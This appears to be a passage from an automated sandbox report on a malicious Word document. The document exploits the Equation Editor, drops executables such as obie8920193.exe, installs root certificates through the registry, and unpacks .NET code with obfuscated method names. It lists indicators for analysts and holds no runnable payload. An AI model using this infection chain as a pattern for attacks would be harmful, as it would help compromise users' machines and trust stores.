Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D4E2A push ebx; ret	2_2_005D4E2B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D6C25 push esp; ret	2_2_005D6C27
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D4E22 push ebx; ret	2_2_005D4E23
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D66D1 push esp; ret	2_2_005D66EB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D6ACC push esi; ret	2_2_005D6B2B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005CA6CE push ecx; iretd	2_2_005CA6CF
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D6ACA push esi; ret	2_2_005D6ACB
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005C01F4 push eax; retf	2_2_005C01F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D448F push esp; ret	2_2_005D4493
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005CC288 pushad ; retn 005Ch	2_2_005CC289
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D66B0 push esp; ret	2_2_005D66B3
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_005D66AA push esp; ret	2_2_005D66AB

Source: FcdBUj68lnCbMtB[1].exe.2.dr	Static PE information: section name: .text entropy: 7.956474075976922
Source: obie8920193.exe.2.dr	Static PE information: section name: .text entropy: 7.956474075976922

Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, zSxtCKQlluoBoaYfXp.cs	High entropy of concatenated method names: 'OgnRHMcNY5', 'vmCRol41YF', 'Q0uR2RhZuy', 'zMfRufRBTY', 'fpcRpi2xKw', 'v75RKhYLrv', 'xsjRB7Mp23', 'tHcRw0kPul', 'KRLRIlCq1d', 'dSiRnK2hl9'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, Oas0CkJLP86ncCAk06.cs	High entropy of concatenated method names: 'GHXsAR4r9S', 'lAmsvvVNPG', 'Exds8tG6SW', 'MXGsLTh54W', 'NsusdBgHPI', 'dJas3JNOwr', 'aNBuvWuf7Q8RLhOWve', 'uQ7NenzmOOxcAaLMhk', 'OFfsskh2oO', 'BfAsOteMOw'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, XknLE6sxi0AB9TbxvRc.cs	High entropy of concatenated method names: 'AvfTq0KEyq', 's2yTau8oC7', 'RVqTjUFaYj', 'JoMTrHMPda', 'ob9TENcOTb', 'Sw1TXwCJZ4', 'i8GTN75a3E', 'rAPTHHC7Ww', 'fiEToqdgIj', 'joyT7tuXVm'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, dvDQ8ooxdtG6SWtXGT.cs	High entropy of concatenated method names: 'ERH1rLd988', 'bAw1XTpBDV', 'TKy1HTUH7d', 'eTd1oLjbdV', 'MbZ1d3XUIw', 'sYC13oI7Up', 'EbH10oYBSs', 'boA1Vv6yAi', 'At71TxKAYD', 'm9C1ilIAyy'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, GgKL0Eg5Wkhg2YdC0x.cs	High entropy of concatenated method names: 'IMUTsrQsXJ', 'VeJTOl1CHT', 'TQwTJrpikx', 'GkjTcaLa5u', 'c4yTyTFN2J', 'U8pTkEyOuX', 'PAFTe40vsK', 'qkTVPe19PJ', 'rcVV5qJaJJ', 'lnEVSLrVM4'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, yT6mC6B4fPpfSn1yjG.cs	High entropy of concatenated method names: 'xUhAc6V83P', 'eEaA1XNMYI', 'vbPAeCfRB2', 'bf6egCAcCi', 'aaEez3V0VO', 'dNJAxUGX5V', 'I3nAshrl2E', 'f6kAfxi46V', 'W7dAOc3oni', 'rkiAJx0XHx'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, DPIJJa2JNOwrGoKDAd.cs	High entropy of concatenated method names: 'k3VeWEg6BE', 'jlAeyDgLZW', 'oERekrBOhj', 'TPqeATLDUt', 'e1IevGOKTQ', 'o1VkbBmDax', 'v5RklZ0XhA', 'Ib5kPvxGsJ', 'xGwk5B7rx1', 'FT7kSu5fbr'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, BR4r9SHUAmvVNPGE5t.cs	High entropy of concatenated method names: 'FgWyYS2u0Z', 'AUoyDCKohK', 'vqCyGtCJo4', 'dfey4gBG0p', 'N7aybp4Wuk', 'Iliylj9Q2S', 'L2TyPGrsds', 'e99y5cS2Pg', 'RDoySsTIjB', 'WiCygTnkPk'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, C7Kf5VfB7dASIKDlYf.cs	High entropy of concatenated method names: 'WBVjLQXbf', 'A6nrrJFfH', 'VecXbIrwB', 'LiCN7U1wD', 'EMeoq1cM7', 'Nko77COJB', 'q3X0Zl8iJKdf9jL3mN', 'xfGhmsBIc8kpAyH0kO', 'kHtpQYeZjoIwjqoCkF', 'p5HV4Vvjf'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, w54Wwi7tk9esttsuBg.cs	High entropy of concatenated method names: 'dddkE0mrXt', 'i5ukNS9Ijc', 'T3l1FXYGRg', 'Vma1pu6KWc', 'tEx1KV0sPo', 'zRM16k4Mwx', 'OmO1BYfUCQ', 'NEY1wE7i8E', 'awT1tqXV4E', 'qyv1IfBOkj'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, va4sUbS6hEyNbApReb.cs	High entropy of concatenated method names: 'GK6V2twI8t', 'KomVumiTnw', 'DuAVFIexMn', 'BiXVpFkQn2', 'BfMVYVSBtn', 'BrLVKFywPE', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, D2UDibly6dG7h6hnQq.cs	High entropy of concatenated method names: 'qEM05aRK20', 'Jm50gVOZQq', 'dpiVxjpehW', 'EO9Vsf6VXr', 'qMg0nfFZL0', 'kg10MuDH94', 'pqX0Q7KhQy', 'yga0YAW9bd', 'heB0DashSd', 'QQ30Gj3wYg'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, Qh9yHxsORTqQFMRRqnU.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'fSCiYQdVqD', 'UCniDDVHuV', 'Bl9iGAQae4', 'XvLi4Ll8CB', 'jbQibeWikE', 'agFilOQRxC', 'rW0iP7byWG'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, KGQivG4jZoZqi3K2bp.cs	High entropy of concatenated method names: 'zuv08FCj4y', 'iP30LA7YEU', 'ToString', 'p8H0cQJaMf', 'vYL0yc0pPe', 'JEW01mIA5Y', 'xkm0kn33Gr', 'aRs0e4HrQH', 'FJZ0ALR5Py', 'x8Y0vqeFMS'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, W69GQbvchlGWfxEUg3.cs	High entropy of concatenated method names: 'knpOW5nIkU', 'rnCOcoFLu2', 'cTTOyyqFQy', 'qx0O17hsB9', 'Eo6OkBIRGy', 'p1uOelR80E', 'oSAOABkX4v', 'd1COv3GXRm', 'N9cOUPVVkK', 'OjGO8VCNo1'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, c8JUhb5EhV7YevbYMr.cs	High entropy of concatenated method names: 'i5qVciT2dm', 'Hd1VyKoPxa', 'cQiV10G2cQ', 'lYCVkiAPpq', 'pFaVeO1J9R', 'VmmVAKd6jx', 'hgiVvYdhpx', 'UrQVUhBGda', 'mh7V8FlQJC', 'h1qVLkD56K'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, xUxCqCtuE8HCR9gjRX.cs	High entropy of concatenated method names: 'jnCAquX9FD', 'yXqAaV2sHl', 'amTAjCiVrt', 'o8xAryFFEy', 'KvSAEZi7gl', 'bdLAXlHIK5', 'wxkANeL5SP', 'ye8AH5d9Rt', 'DWCAoxP72I', 'X6IA7DsCAp'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, sM5uBfyrWcuZmGJ521.cs	High entropy of concatenated method names: 'Dispose', 'J1lsSfCwkJ', 'Lwffud1nQM', 'piCUUZtDJ4', 'Mf8sgJUhbE', 'xV7szYevbY', 'ProcessDialogKey', 'Prmfxa4sUb', 'KhEfsyNbAp', 'oebff2gKL0'
Source: 5.2.obie8920193.exe.38e9930.9.raw.unpack, kQMY18YRSxSjPa7Enu.cs	High entropy of concatenated method names: 'qfsdIkUpHl', 'NJNdMENith', 'MW9dYsIKP3', 'k3gdDvQLC7', 'uutdu4L8XF', 'kcddFDdQy7', 'g2OdpWitoC', 'JNNdKxghd0', 'lvCd6ru4f4', 'ArHdBrRQmR'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, zSxtCKQlluoBoaYfXp.cs	High entropy of concatenated method names: 'OgnRHMcNY5', 'vmCRol41YF', 'Q0uR2RhZuy', 'zMfRufRBTY', 'fpcRpi2xKw', 'v75RKhYLrv', 'xsjRB7Mp23', 'tHcRw0kPul', 'KRLRIlCq1d', 'dSiRnK2hl9'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, Oas0CkJLP86ncCAk06.cs	High entropy of concatenated method names: 'GHXsAR4r9S', 'lAmsvvVNPG', 'Exds8tG6SW', 'MXGsLTh54W', 'NsusdBgHPI', 'dJas3JNOwr', 'aNBuvWuf7Q8RLhOWve', 'uQ7NenzmOOxcAaLMhk', 'OFfsskh2oO', 'BfAsOteMOw'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, XknLE6sxi0AB9TbxvRc.cs	High entropy of concatenated method names: 'AvfTq0KEyq', 's2yTau8oC7', 'RVqTjUFaYj', 'JoMTrHMPda', 'ob9TENcOTb', 'Sw1TXwCJZ4', 'i8GTN75a3E', 'rAPTHHC7Ww', 'fiEToqdgIj', 'joyT7tuXVm'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, dvDQ8ooxdtG6SWtXGT.cs	High entropy of concatenated method names: 'ERH1rLd988', 'bAw1XTpBDV', 'TKy1HTUH7d', 'eTd1oLjbdV', 'MbZ1d3XUIw', 'sYC13oI7Up', 'EbH10oYBSs', 'boA1Vv6yAi', 'At71TxKAYD', 'm9C1ilIAyy'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, GgKL0Eg5Wkhg2YdC0x.cs	High entropy of concatenated method names: 'IMUTsrQsXJ', 'VeJTOl1CHT', 'TQwTJrpikx', 'GkjTcaLa5u', 'c4yTyTFN2J', 'U8pTkEyOuX', 'PAFTe40vsK', 'qkTVPe19PJ', 'rcVV5qJaJJ', 'lnEVSLrVM4'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, yT6mC6B4fPpfSn1yjG.cs	High entropy of concatenated method names: 'xUhAc6V83P', 'eEaA1XNMYI', 'vbPAeCfRB2', 'bf6egCAcCi', 'aaEez3V0VO', 'dNJAxUGX5V', 'I3nAshrl2E', 'f6kAfxi46V', 'W7dAOc3oni', 'rkiAJx0XHx'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, DPIJJa2JNOwrGoKDAd.cs	High entropy of concatenated method names: 'k3VeWEg6BE', 'jlAeyDgLZW', 'oERekrBOhj', 'TPqeATLDUt', 'e1IevGOKTQ', 'o1VkbBmDax', 'v5RklZ0XhA', 'Ib5kPvxGsJ', 'xGwk5B7rx1', 'FT7kSu5fbr'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, BR4r9SHUAmvVNPGE5t.cs	High entropy of concatenated method names: 'FgWyYS2u0Z', 'AUoyDCKohK', 'vqCyGtCJo4', 'dfey4gBG0p', 'N7aybp4Wuk', 'Iliylj9Q2S', 'L2TyPGrsds', 'e99y5cS2Pg', 'RDoySsTIjB', 'WiCygTnkPk'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, C7Kf5VfB7dASIKDlYf.cs	High entropy of concatenated method names: 'WBVjLQXbf', 'A6nrrJFfH', 'VecXbIrwB', 'LiCN7U1wD', 'EMeoq1cM7', 'Nko77COJB', 'q3X0Zl8iJKdf9jL3mN', 'xfGhmsBIc8kpAyH0kO', 'kHtpQYeZjoIwjqoCkF', 'p5HV4Vvjf'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, w54Wwi7tk9esttsuBg.cs	High entropy of concatenated method names: 'dddkE0mrXt', 'i5ukNS9Ijc', 'T3l1FXYGRg', 'Vma1pu6KWc', 'tEx1KV0sPo', 'zRM16k4Mwx', 'OmO1BYfUCQ', 'NEY1wE7i8E', 'awT1tqXV4E', 'qyv1IfBOkj'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, va4sUbS6hEyNbApReb.cs	High entropy of concatenated method names: 'GK6V2twI8t', 'KomVumiTnw', 'DuAVFIexMn', 'BiXVpFkQn2', 'BfMVYVSBtn', 'BrLVKFywPE', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, D2UDibly6dG7h6hnQq.cs	High entropy of concatenated method names: 'qEM05aRK20', 'Jm50gVOZQq', 'dpiVxjpehW', 'EO9Vsf6VXr', 'qMg0nfFZL0', 'kg10MuDH94', 'pqX0Q7KhQy', 'yga0YAW9bd', 'heB0DashSd', 'QQ30Gj3wYg'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, Qh9yHxsORTqQFMRRqnU.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'fSCiYQdVqD', 'UCniDDVHuV', 'Bl9iGAQae4', 'XvLi4Ll8CB', 'jbQibeWikE', 'agFilOQRxC', 'rW0iP7byWG'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, KGQivG4jZoZqi3K2bp.cs	High entropy of concatenated method names: 'zuv08FCj4y', 'iP30LA7YEU', 'ToString', 'p8H0cQJaMf', 'vYL0yc0pPe', 'JEW01mIA5Y', 'xkm0kn33Gr', 'aRs0e4HrQH', 'FJZ0ALR5Py', 'x8Y0vqeFMS'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, W69GQbvchlGWfxEUg3.cs	High entropy of concatenated method names: 'knpOW5nIkU', 'rnCOcoFLu2', 'cTTOyyqFQy', 'qx0O17hsB9', 'Eo6OkBIRGy', 'p1uOelR80E', 'oSAOABkX4v', 'd1COv3GXRm', 'N9cOUPVVkK', 'OjGO8VCNo1'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, c8JUhb5EhV7YevbYMr.cs	High entropy of concatenated method names: 'i5qVciT2dm', 'Hd1VyKoPxa', 'cQiV10G2cQ', 'lYCVkiAPpq', 'pFaVeO1J9R', 'VmmVAKd6jx', 'hgiVvYdhpx', 'UrQVUhBGda', 'mh7V8FlQJC', 'h1qVLkD56K'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, xUxCqCtuE8HCR9gjRX.cs	High entropy of concatenated method names: 'jnCAquX9FD', 'yXqAaV2sHl', 'amTAjCiVrt', 'o8xAryFFEy', 'KvSAEZi7gl', 'bdLAXlHIK5', 'wxkANeL5SP', 'ye8AH5d9Rt', 'DWCAoxP72I', 'X6IA7DsCAp'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, sM5uBfyrWcuZmGJ521.cs	High entropy of concatenated method names: 'Dispose', 'J1lsSfCwkJ', 'Lwffud1nQM', 'piCUUZtDJ4', 'Mf8sgJUhbE', 'xV7szYevbY', 'ProcessDialogKey', 'Prmfxa4sUb', 'KhEfsyNbAp', 'oebff2gKL0'
Source: 5.2.obie8920193.exe.4ea0000.12.raw.unpack, kQMY18YRSxSjPa7Enu.cs	High entropy of concatenated method names: 'qfsdIkUpHl', 'NJNdMENith', 'MW9dYsIKP3', 'k3gdDvQLC7', 'uutdu4L8XF', 'kcddFDdQy7', 'g2OdpWitoC', 'JNNdKxghd0', 'lvCd6ru4f4', 'ArHdBrRQmR'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, zSxtCKQlluoBoaYfXp.cs	High entropy of concatenated method names: 'OgnRHMcNY5', 'vmCRol41YF', 'Q0uR2RhZuy', 'zMfRufRBTY', 'fpcRpi2xKw', 'v75RKhYLrv', 'xsjRB7Mp23', 'tHcRw0kPul', 'KRLRIlCq1d', 'dSiRnK2hl9'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, Oas0CkJLP86ncCAk06.cs	High entropy of concatenated method names: 'GHXsAR4r9S', 'lAmsvvVNPG', 'Exds8tG6SW', 'MXGsLTh54W', 'NsusdBgHPI', 'dJas3JNOwr', 'aNBuvWuf7Q8RLhOWve', 'uQ7NenzmOOxcAaLMhk', 'OFfsskh2oO', 'BfAsOteMOw'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, XknLE6sxi0AB9TbxvRc.cs	High entropy of concatenated method names: 'AvfTq0KEyq', 's2yTau8oC7', 'RVqTjUFaYj', 'JoMTrHMPda', 'ob9TENcOTb', 'Sw1TXwCJZ4', 'i8GTN75a3E', 'rAPTHHC7Ww', 'fiEToqdgIj', 'joyT7tuXVm'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, dvDQ8ooxdtG6SWtXGT.cs	High entropy of concatenated method names: 'ERH1rLd988', 'bAw1XTpBDV', 'TKy1HTUH7d', 'eTd1oLjbdV', 'MbZ1d3XUIw', 'sYC13oI7Up', 'EbH10oYBSs', 'boA1Vv6yAi', 'At71TxKAYD', 'm9C1ilIAyy'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, GgKL0Eg5Wkhg2YdC0x.cs	High entropy of concatenated method names: 'IMUTsrQsXJ', 'VeJTOl1CHT', 'TQwTJrpikx', 'GkjTcaLa5u', 'c4yTyTFN2J', 'U8pTkEyOuX', 'PAFTe40vsK', 'qkTVPe19PJ', 'rcVV5qJaJJ', 'lnEVSLrVM4'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, yT6mC6B4fPpfSn1yjG.cs	High entropy of concatenated method names: 'xUhAc6V83P', 'eEaA1XNMYI', 'vbPAeCfRB2', 'bf6egCAcCi', 'aaEez3V0VO', 'dNJAxUGX5V', 'I3nAshrl2E', 'f6kAfxi46V', 'W7dAOc3oni', 'rkiAJx0XHx'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, DPIJJa2JNOwrGoKDAd.cs	High entropy of concatenated method names: 'k3VeWEg6BE', 'jlAeyDgLZW', 'oERekrBOhj', 'TPqeATLDUt', 'e1IevGOKTQ', 'o1VkbBmDax', 'v5RklZ0XhA', 'Ib5kPvxGsJ', 'xGwk5B7rx1', 'FT7kSu5fbr'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, BR4r9SHUAmvVNPGE5t.cs	High entropy of concatenated method names: 'FgWyYS2u0Z', 'AUoyDCKohK', 'vqCyGtCJo4', 'dfey4gBG0p', 'N7aybp4Wuk', 'Iliylj9Q2S', 'L2TyPGrsds', 'e99y5cS2Pg', 'RDoySsTIjB', 'WiCygTnkPk'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, C7Kf5VfB7dASIKDlYf.cs	High entropy of concatenated method names: 'WBVjLQXbf', 'A6nrrJFfH', 'VecXbIrwB', 'LiCN7U1wD', 'EMeoq1cM7', 'Nko77COJB', 'q3X0Zl8iJKdf9jL3mN', 'xfGhmsBIc8kpAyH0kO', 'kHtpQYeZjoIwjqoCkF', 'p5HV4Vvjf'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, w54Wwi7tk9esttsuBg.cs	High entropy of concatenated method names: 'dddkE0mrXt', 'i5ukNS9Ijc', 'T3l1FXYGRg', 'Vma1pu6KWc', 'tEx1KV0sPo', 'zRM16k4Mwx', 'OmO1BYfUCQ', 'NEY1wE7i8E', 'awT1tqXV4E', 'qyv1IfBOkj'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, va4sUbS6hEyNbApReb.cs	High entropy of concatenated method names: 'GK6V2twI8t', 'KomVumiTnw', 'DuAVFIexMn', 'BiXVpFkQn2', 'BfMVYVSBtn', 'BrLVKFywPE', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, D2UDibly6dG7h6hnQq.cs	High entropy of concatenated method names: 'qEM05aRK20', 'Jm50gVOZQq', 'dpiVxjpehW', 'EO9Vsf6VXr', 'qMg0nfFZL0', 'kg10MuDH94', 'pqX0Q7KhQy', 'yga0YAW9bd', 'heB0DashSd', 'QQ30Gj3wYg'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, Qh9yHxsORTqQFMRRqnU.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'fSCiYQdVqD', 'UCniDDVHuV', 'Bl9iGAQae4', 'XvLi4Ll8CB', 'jbQibeWikE', 'agFilOQRxC', 'rW0iP7byWG'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, KGQivG4jZoZqi3K2bp.cs	High entropy of concatenated method names: 'zuv08FCj4y', 'iP30LA7YEU', 'ToString', 'p8H0cQJaMf', 'vYL0yc0pPe', 'JEW01mIA5Y', 'xkm0kn33Gr', 'aRs0e4HrQH', 'FJZ0ALR5Py', 'x8Y0vqeFMS'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, W69GQbvchlGWfxEUg3.cs	High entropy of concatenated method names: 'knpOW5nIkU', 'rnCOcoFLu2', 'cTTOyyqFQy', 'qx0O17hsB9', 'Eo6OkBIRGy', 'p1uOelR80E', 'oSAOABkX4v', 'd1COv3GXRm', 'N9cOUPVVkK', 'OjGO8VCNo1'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, c8JUhb5EhV7YevbYMr.cs	High entropy of concatenated method names: 'i5qVciT2dm', 'Hd1VyKoPxa', 'cQiV10G2cQ', 'lYCVkiAPpq', 'pFaVeO1J9R', 'VmmVAKd6jx', 'hgiVvYdhpx', 'UrQVUhBGda', 'mh7V8FlQJC', 'h1qVLkD56K'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, xUxCqCtuE8HCR9gjRX.cs	High entropy of concatenated method names: 'jnCAquX9FD', 'yXqAaV2sHl', 'amTAjCiVrt', 'o8xAryFFEy', 'KvSAEZi7gl', 'bdLAXlHIK5', 'wxkANeL5SP', 'ye8AH5d9Rt', 'DWCAoxP72I', 'X6IA7DsCAp'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, sM5uBfyrWcuZmGJ521.cs	High entropy of concatenated method names: 'Dispose', 'J1lsSfCwkJ', 'Lwffud1nQM', 'piCUUZtDJ4', 'Mf8sgJUhbE', 'xV7szYevbY', 'ProcessDialogKey', 'Prmfxa4sUb', 'KhEfsyNbAp', 'oebff2gKL0'
Source: 5.2.obie8920193.exe.3887310.11.raw.unpack, kQMY18YRSxSjPa7Enu.cs	High entropy of concatenated method names: 'qfsdIkUpHl', 'NJNdMENith', 'MW9dYsIKP3', 'k3gdDvQLC7', 'uutdu4L8XF', 'kcddFDdQy7', 'g2OdpWitoC', 'JNNdKxghd0', 'lvCd6ru4f4', 'ArHdBrRQmR'

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\obie8920193.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\FcdBUj68lnCbMtB[1].exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
